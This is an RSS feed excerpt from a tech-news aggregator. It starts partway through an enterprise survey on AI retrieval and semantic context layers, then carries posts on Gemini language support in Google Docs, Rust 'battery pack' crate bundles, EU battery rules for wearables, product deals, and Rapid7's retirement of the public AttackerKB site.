Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.</p><h2>Finding 6: The governed context layer is being built now</h2><p><b>Most run or are building a semantic layer — few in production</b></p><p>We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.</p><div></div><p>The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.</p><h2>Finding 7: Bought on ingestion and simplicity, watched for correctness</h2><p><b>Selection favors operability; monitoring favors correctness and security</b></p><p>We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.</p><div></div><p>Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%). </p><p>Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.</p><h2>Finding 8: A retrieval reshuffle is coming</h2><p><b>A majority plan to change providers — and the vector specialists are gaining interest</b></p><p>We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.</p><div></div><p>The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.</p><h1>The bottom line: A context gap that more retrieval alone won’t close</h1><p>Organizations with more than 100 employees are wiring agents into their business faster than they can guarantee the context those agents run on. Retrieval is the default source of enterprise context, and it increasingly comes from the model providers and hyperscalers rather than the dedicated vector databases — yet a majority of enterprises have already watched agents answer confidently and wrongly because that context was thin or inconsistent. The failure is not exotic; it is the predictable result of pointing authoritative-sounding agents at an unreliable foundation.</p><p>The industry’s answer — a governed semantic layer, hybrid retrieval with reranking and access controls — is being built but is mostly not yet in production, and enterprises are pulled between the convenience of provider-native bundles and a stated preference for best-of-breed independence. At 101 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market — but the direction is clear: the context layer is the next contested tier of the AI stack, and right now agents are running ahead of it. The context gap is not a retrieval-volume problem that more documents or bigger indexes will solve on their own; it is a problem of governed, consistent, access-aware context. The open question for later waves is whether enterprises finish building that layer before the confident-but-wrong failures move from the lab into decisions that matter.</p><hr><p><i>Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. At this sample size the results should be read as a directional signal rather than a precise measurement — it's a self-selected sample, not a probability sample, and skews toward the mid-market. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with strong purchasing authority, across technology, healthcare, retail, transportation, financial services, manufacturing, and education.</i></p>]]></content:encoded>
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<title><![CDATA[Expanded language support for Gemini in Google Docs]]></title>
<description><![CDATA[Earlier this year, we introduced new Gemini in Google Docs capabilities that help you move from a blank page to a finished document faster than ever.We are now expanding support for these features to 11 more languages, including Mandarin, Dutch, Malay, Hebrew, Polish, Turkish, Czech, Indonesian, ...]]></description>
<link>https://tsecurity.de/de/3674299/web-tipps/expanded-language-support-for-gemini-in-google-docs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674299/web-tipps/expanded-language-support-for-gemini-in-google-docs/</guid>
<pubDate>Thu, 16 Jul 2026 19:38:51 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Earlier this year, <a href="https://workspaceupdates.googleblog.com/2026/04/new-gemini-capabilities-in-google-docs-help-you-go-from-blank-page-to-brilliance.html" target="_blank">we introduced</a> new Gemini in Google Docs capabilities that help you move from a blank page to a finished document faster than ever.</p><p>We are now expanding support for these features to 11 more languages, including Mandarin, Dutch, Malay, Hebrew, Polish, Turkish, Czech, Indonesian, Swedish, Danish, and Norwegian. These new additions join our previously supported languages: English, Spanish, Portuguese, Japanese, French, Korean, German, and Italian.</p><h4>Reimagined Gemini experience in Docs</h4><p>With this update, Google Docs offers a centralized place to generate, write, and refine your documents with Gemini. Powered by <a href="https://workspace.google.com/blog/product-announcements/introducing-workspace-intelligence" target="_blank">Workspace Intelligence</a>, Gemini leverages data across Drive, Gmail, Chat, and the web to provide personalized, context-aware assistance.</p><p></p><ul><li>The upgraded <b>Help me create</b> experience enables you to generate relevant, fully formatted first drafts that synthesize information from your files, emails, chat, and the web.</li><li>With <b>Help me write</b>, simply prompt Gemini from the bottom bar or side panel to make edits across your doc, or select text to focus Gemini’s attention. Gemini’s suggested edits are only visible to you until you approve them.</li><li><b>Match writing style</b> helps maintain a consistent tone and style across your entire doc, no matter how many people are working on it.</li><li>With <b>Match doc format</b>, Gemini can mirror a source document to generate content that adheres to the original's formatting (e.g., fonts and colors) and structural elements (e.g., headings and table columns).</li></ul><p></p><p>To generate new docs from scratch, open a new doc, enter your prompt, and click submit. To edit existing docs, simply hover over the spark near the bottom of your doc and type a prompt in the bottom bar.</p><p><br></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQuqyJ5HJ2N_jJGRs5gveCwyqfqPs8I4ZoFquOOTlWtfJiommNtp8M77HxY8YjoYaKNfQBx2K8ioupbYe87AuI8hjmtfyIoFkQ7f_UG7QDgb-Xhoql3OcG9BczGlQ8fZJRCTOUbXc_Ahyx-d5TzVIYCaWZSKiQfG28LhD_NsJhCHOc-wuAy7BJFeDTgAE/s1200/Expanded%20language%20support%20for%20Gemini%20in%20Google%20Docs%20-%207142.gif"><img border="0" data-original-height="797" data-original-width="1200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQuqyJ5HJ2N_jJGRs5gveCwyqfqPs8I4ZoFquOOTlWtfJiommNtp8M77HxY8YjoYaKNfQBx2K8ioupbYe87AuI8hjmtfyIoFkQ7f_UG7QDgb-Xhoql3OcG9BczGlQ8fZJRCTOUbXc_Ahyx-d5TzVIYCaWZSKiQfG28LhD_NsJhCHOc-wuAy7BJFeDTgAE/s1600/Expanded%20language%20support%20for%20Gemini%20in%20Google%20Docs%20-%207142.gif"></a></div><h3>Getting started</h3><p></p><ul><li><b>Admins: </b>These features are available by default if <a href="https://knowledge.workspace.google.com/admin/gemini/manage-access-to-gemini-features-in-workspace-services" target="_blank">Gemini for Workspace in Drive is enabled</a>. Note that enabling <a href="https://knowledge.workspace.google.com/p/wsi" target="_blank">Workspace Intelligence</a> expands the range of supported use cases.</li><li><b>End users: </b>You must have <a href="https://support.google.com/mail/answer/15604322?sjid=17363988672514456782-NA#gw&amp;zippy=%2Csmart-features-in-google-workspace%2Cwhat-are-googles-legal-bases-of-processing-for-users-in-the-european-economic-area-united-kingdom-or-switzerland%2Chow-long-is-your-workspace-content-activity-used-to-provide-smart-features-and-to-improve-these-features" target="_blank">Workspace smart features</a> enabled to use these features. Visit the Help Center to <a href="https://support.google.com/docs/answer/15541879" target="_blank">learn more about creating personalized documents with Gemini in Google Docs</a>.</li></ul><h3>Rollout pace</h3><p></p><ul><li><a href="https://support.google.com/a/answer/172177" target="_blank">Rapid Release domains:</a> Gradual rollout (up to 15 days for feature visibility) starting on July 15, 2026 </li><li><a href="https://support.google.com/a/answer/172177" target="_blank">Scheduled Release domains:</a> Gradual rollout (up to 15 days for feature visibility) starting on August 1, 2026 </li></ul><p></p><h3>Availability</h3><p></p><ul><li><b>Business: </b>Business Standard and Plus</li><li><b>Enterprise: </b>Enterprise Standard and Plus</li><li><b>Education: </b>Education Plus</li><li><b>Consumer: </b>Google AI Pro and Ultra</li><li><b>Education Add-ons:</b> Teaching and Learning</li><li><b>Other Add-ons: </b>AI Expanded Access*; Google AI Pro for Education*</li></ul><p></p><p>*Users with AI Expanded Access and Google AI Pro for Education add-on licenses will have <a href="https://support.google.com/a?p=limits" target="_blank">higher limits on usage</a> of Match writing style and Match document format tools.</p><h3>Resources</h3><p></p><ul><li>Google Docs Editors Help: <a href="https://support.google.com/docs/answer/13447609" target="_blank">Write &amp; edit with Gemini in Docs</a></li><li>Google Docs Editors Help: <a href="https://support.google.com/docs/answer/14615114?hl=en" target="_blank">Learn how Gemini in Gmail, Calendar, Chat, Docs, Drive, Sheets, Slides, Meet &amp; Vids protects your data</a></li></ul><p></p>]]></content:encoded>
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<title><![CDATA[Niko Matsakis: Battery packs: Let's talk about crates, baby]]></title>
<description><![CDATA[This blog post describes an idea I’ve been kicking around called battery packs. Battery packs are a curated set of crates arranged around a common theme. For example, there’s a CLI battery pack that has everything you need to build a great CLI, an opinionated pack for creating a backend web servi...]]></description>
<link>https://tsecurity.de/de/3674266/tools/niko-matsakis-battery-packs-lets-talk-about-crates-baby/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674266/tools/niko-matsakis-battery-packs-lets-talk-about-crates-baby/</guid>
<pubDate>Thu, 16 Jul 2026 19:24:07 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img alt="Battery pack logo" class="float-right" src="https://smallcultfollowing.com/babysteps/%20/assets/2026-07-15-battery-packs.png">
<p>This blog post describes an idea I’ve been kicking around called <strong>battery packs</strong>. Battery packs are a curated set of crates arranged around a common theme. For example, there’s a CLI battery pack that has <a href="https://crates.io/crates/cli-battery-pack">everything you need to build a great CLI</a>, an opinionated pack for <a href="https://crates.io/crates/backend-service-battery-pack">creating a backend web service</a>, and <a href="https://crates.io/crates/embedded-battery-pack">one for embedded development</a> (based on the Embedded Working Group’s <a href="https://github.com/rust-embedded/awesome-embedded-rust">Awesome Rust repository</a>). We’ve also got some smaller ones, such as the <a href="https://crates.io/crates/error-battery-pack">error-handling battery pack</a> that shows how to handle errors in Rust. But this is just the beginning – a key part of the battery pack design is that anybody can create one.</p>
<p>Battery packs are meant to address one of the most common things I hear from new Rust adopters. Everyone loves the wealth of high-quality crates available on crates.io. And everyone hates having to spend a bunch of time researching and comparing alternatives. Battery packs can serve as a good set of default choices. And they don’t lock you in. At heart, they’re basically just a list of recommended crates, so you can always swap something out if you find an alternative.</p>

<p>We’ve got a prototype of the battery pack tool working today, so you can try it out if you’re curious. Just run <code>cargo install cargo-bp</code> and then try a few commands! For example,</p>
<div class="highlight"><pre class="chroma" tabindex="0"><code class="language-bash"><span class="line"><span class="cl">&gt; cargo bp list
</span></span></code></pre></div><p>will show you the set of available battery packs, based on a crates.io search (as I’ll explain below, a battery pack is itself packaged and distributed as a crate, but not one that you take a direct dependency on). And <code>cargo bp add</code> will add batteries from a battery pack into your crate, so e.g.</p>
<div class="highlight"><pre class="chroma" tabindex="0"><code class="language-bash"><span class="line"><span class="cl">&gt; cargo bp add cli
</span></span></code></pre></div><p>would let you select and add common CLI libraries. If you want to see a more involved demo, try out <code>cargo bp add embedded</code>, which is derived from the <a href="https://github.com/rust-embedded/awesome-embedded-rust">Awesome Embedded Rust</a> repository.</p>
<h3>Let’s talk about you and me</h3>
<p>One of the key ideas from battery packs is that <strong>anybody can publish one</strong>. They are just a crate named <code>X-battery-pack</code>; the dependencies of that crate are your recommendations. Features are designations of common sets of crates frequently used together. The examples are your templates. And so forth.</p>
<p>Letting anybody create a battery pack is in contrast to the previous ideas for an “extended standard library for Rust”<sup><a class="footnote-ref" href="https://smallcultfollowing.com/babysteps/atom.xml#fn:1">1</a></sup>, and it is intended to address some of Rust’s unique challenges. For one thing, it lets people publish battery packs that are tailored to specific requirements. For example, the <a href="https://crates.io/crates/cli-battery-pack">CLI</a> and <a href="https://crates.io/crates/backend-service-battery-pack">backend service</a> battery packs are targeting a “typical computer”. But I could imagine the <a href="https://rust-embedded.org/">Rust embedded working group</a> publishing a battery pack with libraries focused on no-std and binary size optimization.</p>
<p>Being open-ended also addresses the <em>“who decides?”</em> question. To my mind, the best people to recommend what libraries you ought to use are <strong>other people building systems like yours</strong>. This is why I mentioned the Embedded Working Group publishing an Embedded battery pack, for example, as I think they are clearly a set of people who know their space well. But even within the embedded space there are yet smaller groups, and I imagine that sometimes it’ll make sense to get narrower. For example, perhaps a battery pack targeted <a href="https://embassy.dev/">embassy</a> and its associated ecosystem? Unclear.</p>
<h4>Creating a battery pack</h4>
<p>If you wanted to create a battery pack, how do you do it? One answer is that you just create a new crate. But a better approach is to use the “battery-pack battery pack”<sup><a class="footnote-ref" href="https://smallcultfollowing.com/babysteps/atom.xml#fn:2">2</a></sup>, which bundles a template:</p>
<div class="highlight"><pre class="chroma" tabindex="0"><code class="language-bash"><span class="line"><span class="cl">cargo bp new battery-pack
</span></span></code></pre></div><p>This will prompt you for the name of the battery pack you want to create and a few other things and make your crate. Then you can just use <code>cargo add</code> dependencies to represent the libraries you want to recommend and publish.</p>
<h4>“Batteries” are more than dependencies</h4>
<p>The “batteries” that you can add to your project aren’t always dependencies. They can also be “recipes” or templates. For example, the CI battery pack<sup><a class="footnote-ref" href="https://smallcultfollowing.com/babysteps/atom.xml#fn:3">3</a></sup> can configure your project with the kind of “super neat-o” github actions you’ve always wanted but never wanted to bother configuring. To use it, select one or more of the templates to install:</p>
<div class="highlight"><pre class="chroma" tabindex="0"><code class="language-bash"><span class="line"><span class="cl">cargo bp add ci
</span></span></code></pre></div><p>I expect this kind of “actions to improve your crate” to become a rich source of things. Right now we’re using a relatively lightweight template system built on <a href="https://github.com/mitsuhiko/minijinja">minijinja</a>, but I think we’re going to want to expand on this.</p>
<h4>Giving it some structure</h4>
<p>Battery Packs also support more than just a flat listing of dependencies/features/templates. You can group dependencies and features into <em>categories</em> and then, for each category, distinguish between “pick at most one” or “pick any number”. For a fun example, try <code>cargo bp add embedded</code>, which is derived from the <a href="https://github.com/rust-embedded/awesome-embedded-rust">Awesome Embedded Rust</a> repository. If you run it, you’ll see something like this, which groups the choices thematically and, in some areas like “concurrency framework”, makes it clear that you want to pick one:</p>
<pre tabindex="0"><code>──────────────────────────────────────────────────────────────────
 ▼ Concurrency Framework (pick at most one)
 &gt; ○ ✦ embassy [embassy-executor, embassy-sync, embassy-time]
   ○ ✦ rtic [cortex-m, rtic]    RTIC — interrupt-driven real-time

 ▼ Display &amp; Graphics (pick any number)
   [ ] ✦ display-ssd1306 [embedded-graphics, ssd1306]    SSD1306
   [ ] ✦ display-st7789 [embedded-graphics, st7789]    ST7789 col

 ▼ Popular Drivers (pick any number)
   [ ] ✦ display-ssd1306 [embedded-graphics, ssd1306]    SSD1306
   [ ] ✦ display-st7789 [embedded-graphics, st7789]    ST7789 col
   [ ] ✦ sensor-bme280 [bme280]    BME280 temperature/humidity/pr
   [ ] ✦ sensor-lis3dh [lis3dh]    LIS3DH 3-axis accelerometer (I
   [ ] ✦ usb-device [usb-device, usbd-serial]    USB device stack

 ▼ Hardware Abstraction Layer (pick at most one)
   ○ ✦ atsamd [atsamd-hal, cortex-m-rt, critical-section-impl, co
   ○ ✦ esp32 [embedded-hal, esp-hal]    ESP32 (Xtensa, WiFi + BT,
   ○ ✦ esp32c3 [embedded-hal, esp-hal]    ESP32-C3 (RISC-V, WiFi
   ○ ✦ esp32s3 [embedded-hal, esp-hal]    ESP32-S3 (Xtensa, WiFi
   ○ ✦ nrf52832 [cortex-m-rt, critical-section-impl, cortex-m, em
   ○ ✦ nrf52840 [cortex-m-rt, critical-section-impl, cortex-m, em
   ○ ✦ nrf9160 [cortex-m-rt, critical-section-impl, cortex-m, emb
   ○ ✦ rp2040 [cortex-m-rt, critical-section-impl, cortex-m, embe
   ○ ✦ stm32f0 [cortex-m-rt, critical-section-impl, cortex-m, emb
 embedded-battery-pack v0.1.0  ↑↓/jk Navigate | Space Toggle | ←/→
</code></pre><h3>Let’s talk about all the good things…</h3>
<p>So why am I so keen on battery packs? It’s largely because I’ve heard so many would-be or recent Rust adopters talk about picking crates as a challenge. But I feel they would help with some other problems as well.</p>
<p>What I really want to see is working groups in the <a href="https://rustfoundation.org/rust-commercial-network/">Rust Commercial Network</a> banding together to publish battery packs and recommendations. These would cover the dependencies that they’re actually using.</p>
<h4>Supporting maintainers</h4>
<p>One of the reasons I want to have RCN-recognized battery packs is that they are a natural focal point to then prompt RCN members to fund the maintenance of those crates. I am imagining that for each sponsored battery pack vended within the RCN, there is an associated “ecosystem fund”. Companies or individuals could sponsor this fund to get access to early patches, security disclosures, etc or other perks. The money would be used to support the maintainers of those crates, to implement missing features, and so forth.</p>
<h4>Fostering interoperability</h4>
<p>Another value-add from battery packs is the ability to drive interop efforts. I think that as soon as we start talking about standardizing, we’re also going to recognize that there are some places where standardization is hard. For example, early conversations within the <a href="https://rust-commercial-network.github.io/rcn/network-services-wg.html">network service working group</a> (unsurprisingly) immediately identified that while most people are using <a href="https://tokio.rs/">tokio</a>, some major companies are using their own runtimes internally. It’s not like the need for “async runtime interop” is <a href="https://rust-lang.github.io/wg-async/vision/submitted_stories/status_quo/barbara_wishes_for_easy_runtime_switch.html">news</a>. But right now, every crate winds up effectively implementing their own set of little traits to make it work. Sponsored battery packs offer the possibility of a neutral home for that sort of thing.</p>
<h3>…and the bad things that could be</h3>
<p>There are some risks to people using battery packs. The most obvious is that the fact that anybody can publish a battery pack may mean that you just get a ton of battery packs, which doesn’t really help anybody! I’m not so worried about this because I think that there will be a few obvious places that most people go first, and then I think once people are oriented, they’ll get excited to explore what crates.io has to offer and start discovering more niche battery packs.</p>
<h4>Avoiding stagnation</h4>
<p>Battery packs are designed to evolve. I’ve seen it happen a number of times that there is a dominant crate for something, often taking a “traditional approach”, but then somebody else comes along and presents an interesting alternative that gradually takes off. I love that and I don’t want to put it at risk.</p>
<p>One example of evolution around CLI argument parsing. For a time, <a href="https://crates.io/crates/docopt">docopt</a> was a popular way to parse command-line options. Then <a href="https://crates.io/crates/clap">clap</a> came along and presented a more structured alternative; that was nice, but then structopt came along and connected clap to an auto-derive, so you could just write your data structure and be done. And <em>that</em> was awesome. (That is now the standard in clap.) I want to be sure that, even if there is a CLI battery pack, there’s room for the next clap to come along.</p>
<p>There are a few things about battery pack that I think will help us deal with this. First, they are a “thin abstraction”. You don’t “depend on” a battery pack, you depend on the crates within it. So if a new version comes out that uses clap instead of docopt, that doesn’t impact you at all. Your code keeps working same as it ever did. And of course it helps that <em>anybody</em> can publish a battery pack. You can now have variations on battery packs that are focused around a new approach to help it get started.</p>
<p>Done right, I think that standardized battery packs can also <em>help</em> the ecosystem evolve and pivot. As it is now, knowledge of new crates has to spread by word-of-mouth. But if everybody is aligned around a new approach, adopting that new approach within a battery packs sends a clear signal that your group is aligned that something is the new hotness.</p>
<h3>…Let’s talk about crates<sup><a class="footnote-ref" href="https://smallcultfollowing.com/babysteps/atom.xml#fn:4">4</a></sup></h3>
<h4>“Always bet on the ecosystem”</h4>
<p>I see <strong>always bet on the ecosystem</strong> as a key Rust design axiom. It’s the reason we chose a small standard library and a package manager in the first place. It’s also why battery packs are designed to be published by anyone.</p>
<p>But just like plants sometimes need a trellis to grow taller, any successful ecosystem reaches a point where it needs another layer of structure to help it keep growing. Without that, you have this “layer of tacic knowledge” (in <a href="https://blog.rust-lang.org/2025/12/19/what-do-people-love-about-rust/#example-the-wealth-of-crates-on-crates-io-are-a-key-enabler-but-can-be-an-obstacle">the words of a Rust Vision Doc interviewee</a>) that becomes an obstacle for folks. And I think we’ve reached that point with <code>crates.io</code>.</p>
<p>I am hopeful that battery packs can provide that next layer of structure. But at the end of the day, if there’s a better approach, that’s fine too, so long as we find a way to help people find (<em>and fund!</em>) the crates they need. So let’s talk about it!</p>
<div class="footnotes">
<hr>
<ol>
<li>
<p>My first recollection of it was the <a href="https://internals.rust-lang.org/t/proposal-the-rust-platform/3745">Rust Platform</a> idea we floated in 2016! <a class="footnote-backref" href="https://smallcultfollowing.com/babysteps/atom.xml#fnref:1">↩︎</a></p>
</li>
<li>
<p>Yo dawg… <a class="footnote-backref" href="https://smallcultfollowing.com/babysteps/atom.xml#fnref:2">↩︎</a></p>
</li>
<li>
<p>Hat tip to Jess Izen, who proposed and developed the CI battery pack. Neat idea. <a class="footnote-backref" href="https://smallcultfollowing.com/babysteps/atom.xml#fnref:3">↩︎</a></p>
</li>
<li>
<p>Oh, and: my apologies to <a href="https://en.wikipedia.org/wiki/Let's_Talk_About_Sex">Salt-N-Peppa</a>. <a class="footnote-backref" href="https://smallcultfollowing.com/babysteps/atom.xml#fnref:4">↩︎</a></p>
</li>
</ol>
</div>]]></content:encoded>
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<title><![CDATA[EU Won't Require User-Replaceable Batteries for Wearables]]></title>
<description><![CDATA[The European Commission has exempted wearables from upcoming EU rules requiring portable-device batteries to be removable and user-replaceable. The broader Batteries Regulation still takes effect in February 2027 for many consumer products, but the exemption means companies like Apple, Google, Sa...]]></description>
<link>https://tsecurity.de/de/3674132/it-security-nachrichten/eu-wont-require-user-replaceable-batteries-for-wearables/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674132/it-security-nachrichten/eu-wont-require-user-replaceable-batteries-for-wearables/</guid>
<pubDate>Thu, 16 Jul 2026 18:41:29 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The European Commission has exempted wearables from upcoming EU rules requiring portable-device batteries to be removable and user-replaceable. The broader Batteries Regulation still takes effect in February 2027 for many consumer products, but the exemption means companies like Apple, Google, Samsung, and Meta won't have to redesign their wearables for the EU. Thurrott reports: Yesterday, the Commission announced that new product categories would be exempted from complying with its Batteries Regulation, including wearable devices such as smartwatches, fitness trackers, and smart glasses. This will likely be good news for companies like Apple, Google, Samsung, and Meta, which won't have to redesign their devices to include user-replaceable batteries for consumers in the EU market.
 
The EU's Batteries Regulation will come into effect in February 2027, which is when Nintendo plans to stop selling all models of the original Nintendo Switch in the EU. While Nintendo had no choice but to redesign its handheld console to keep selling it in the EU, it probably didn't make sense for the company to put in the same effort for the OG Switch, which will celebrate its 10th anniversary in March 2027.<p></p><div class="share_submission">
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</div><p><a href="https://tech.slashdot.org/story/26/07/16/0436218/eu-wont-require-user-replaceable-batteries-for-wearables?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[The best Setapp apps for knowledge workers in 2026]]></title>
<description><![CDATA[Find the best Setapp app for knowledge workers, from capturing information and thinking visually to structuring ideas and dedicated AI apps.]]></description>
<link>https://tsecurity.de/de/3674019/ios-mac-os/the-best-setapp-apps-for-knowledge-workers-in-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674019/ios-mac-os/the-best-setapp-apps-for-knowledge-workers-in-2026/</guid>
<pubDate>Thu, 16 Jul 2026 17:41:12 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Find the best Setapp app for knowledge workers, from capturing information and thinking visually to structuring ideas and dedicated AI apps.]]></content:encoded>
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<title><![CDATA[6 hardware-encrypted portable hard drives and SSDs — I've used PIN-protected storage for years and these are the ones I trust to keep my data secure]]></title>
<description><![CDATA[These drives will lock your personal content away from snoopers.]]></description>
<link>https://tsecurity.de/de/3673869/it-nachrichten/6-hardware-encrypted-portable-hard-drives-and-ssds-ive-used-pin-protected-storage-for-years-and-these-are-the-ones-i-trust-to-keep-my-data-secure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673869/it-nachrichten/6-hardware-encrypted-portable-hard-drives-and-ssds-ive-used-pin-protected-storage-for-years-and-these-are-the-ones-i-trust-to-keep-my-data-secure/</guid>
<pubDate>Thu, 16 Jul 2026 17:02:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[These drives will lock your personal content away from snoopers.]]></content:encoded>
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<title><![CDATA[These iPad minis just dropped to less than $295]]></title>
<description><![CDATA[Pick up a perfectly portable, and perfectly capable, Apple tablet that's marked down to just $294.99 in this refurbished iPad mini 6 deal.
(via Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.)]]></description>
<link>https://tsecurity.de/de/3673654/ios-mac-os/these-ipad-minis-just-dropped-to-less-than-295/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673654/ios-mac-os/these-ipad-minis-just-dropped-to-less-than-295/</guid>
<pubDate>Thu, 16 Jul 2026 15:40:26 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><img width="780" height="440" src="https://www.cultofmac.com/wp-content/uploads/2026/07/iPad-mini-e1784159056762-1440x812.jpg" class="attachment-large size-large wp-post-image" alt="A purple Apple iPad Mini 6th Gen" decoding="async" fetchpriority="high" srcset="https://www.cultofmac.com/wp-content/uploads/2026/07/iPad-mini-e1784159056762-1440x812.jpg 1440w, https://www.cultofmac.com/wp-content/uploads/2026/07/iPad-mini-e1784159056762-400x226.jpg 400w, https://www.cultofmac.com/wp-content/uploads/2026/07/iPad-mini-e1784159056762-1536x866.jpg 1536w, https://www.cultofmac.com/wp-content/uploads/2026/07/iPad-mini-e1784159056762-350x197.jpg 350w, https://www.cultofmac.com/wp-content/uploads/2026/07/iPad-mini-e1784159056762-768x433.jpg 768w, https://www.cultofmac.com/wp-content/uploads/2026/07/iPad-mini-e1784159056762-1020x575.jpg 1020w, https://www.cultofmac.com/wp-content/uploads/2026/07/iPad-mini-e1784159056762.jpg 1560w" sizes="(max-width: 780px) 100vw, 780px"></div>
<p>Pick up a perfectly portable, and perfectly capable, Apple tablet that's marked down to just $294.99 in this refurbished iPad mini 6 deal.</p>
<p>(via <a href="https://www.cultofmac.com/">Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.</a>)</p>]]></content:encoded>
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<title><![CDATA[Sunsetting the Public AttackerKB Platform]]></title>
<description><![CDATA[What’s changing, where AttackerKB-style analysis will live, and how users can continue finding Rapid7 vulnerability intelligence.On August 18, Rapid7 will sunset the standalone public AttackerKB website as part of a broader effort to unify our vulnerability intelligence, exploit analysis, and res...]]></description>
<link>https://tsecurity.de/de/3673613/it-security-nachrichten/sunsetting-the-public-attackerkb-platform/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673613/it-security-nachrichten/sunsetting-the-public-attackerkb-platform/</guid>
<pubDate>Thu, 16 Jul 2026 15:23:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span><em>What’s changing, where AttackerKB-style analysis will live, and how users can continue finding Rapid7 vulnerability intelligence.</em></span></p><p><span>On August 18, Rapid7 will sunset the standalone public AttackerKB website as part of a broader effort to unify our vulnerability intelligence, exploit analysis, and research resources.</span></p><p><span>Security practitioners, researchers, vulnerability managers, and current AttackerKB API users will still be able to find Rapid7 vulnerability intelligence through the </span><a href="https://www.rapid7.com/blog" target="_self"><span>Rapid7 blog</span></a><span>, the recently revamped </span><a href="https://www.rapid7.com/db" target="_self"><span>Rapid7 Vulnerability and Exploit Database</span></a><span>, and customer-specific API experiences, where applicable.</span></p><p><span>The public AttackerKB platform is going away, but the intelligence and analysis that security teams rely on are </span><span><em><strong>not</strong></em></span><span> disappearing. Instead, they’re moving into experiences more closely connected with Rapid7’s broader research and vulnerability intelligence ecosystem.</span></p><h2><span>What’s changing</span></h2><ul><li><p><span>The public AttackerKB website will be retired on August 18.</span></p></li><li><p><span>AttackerKB-style Rapid7 technical write-ups will continue on the Rapid7 blog.</span></p></li><li><p><span>Vulnerability intelligence will remain connected to the Rapid7 Vulnerability and Exploit Database.</span></p></li><li><p><span>Open community contributions and the current public AttackerKB API will be retired.</span></p></li></ul><h2><span>Where AttackerKB-style content will live</span></h2><p><span>After the AttackerKB site is retired, that particular style of technical write-up will continue to be published through the Rapid7 blog, and will remain connected to the Rapid7 Vulnerability and Exploit Database. </span></p><p><span>This approach brings vulnerability analysis, exploit intelligence, and security research into a more centralized experience for anyone and everyone who accesses the current standalone site. For security practitioners, researchers, and vulnerability managers, the goal is simple: Make it easier to find the information you need without moving between separate platforms.</span></p><h2><span>Why we’re retiring community contributions</span></h2><p><span>We’re also retiring the open community contribution model of AttackerKB. This decision enables Rapid7 to maintain tighter control over the quality and accuracy of the intelligence we publish. By moving to a more curated model, we can ensure users receive high-fidelity, verified vulnerability intelligence backed by our expert research teams.</span></p><p><span>The change helps protect and fortify the integrity of the intelligence associated with Rapid7, by reducing the risk of inaccurate submissions (especially hastily AI-generated ones), and attempts to manipulate vulnerability information. Maintaining trust in security data is what matters here, and this next step means we can continue delivering intelligence practitioners can use with confidence.</span></p><h2><span>What AttackerKB API users should know</span></h2><p><span>The current public AttackerKB API will be retired alongside the public platform and community features.</span></p><p><span>Going forward, access to this vulnerability intelligence through APIs will be restructured as a dedicated capability for Rapid7 customers. If your organization currently depends on the public AttackerKB API, Rapid7 will share customer-specific guidance on available options, timing, and transition details.</span></p><h2><span>Next steps for AttackerKB users</span></h2><p><span>If 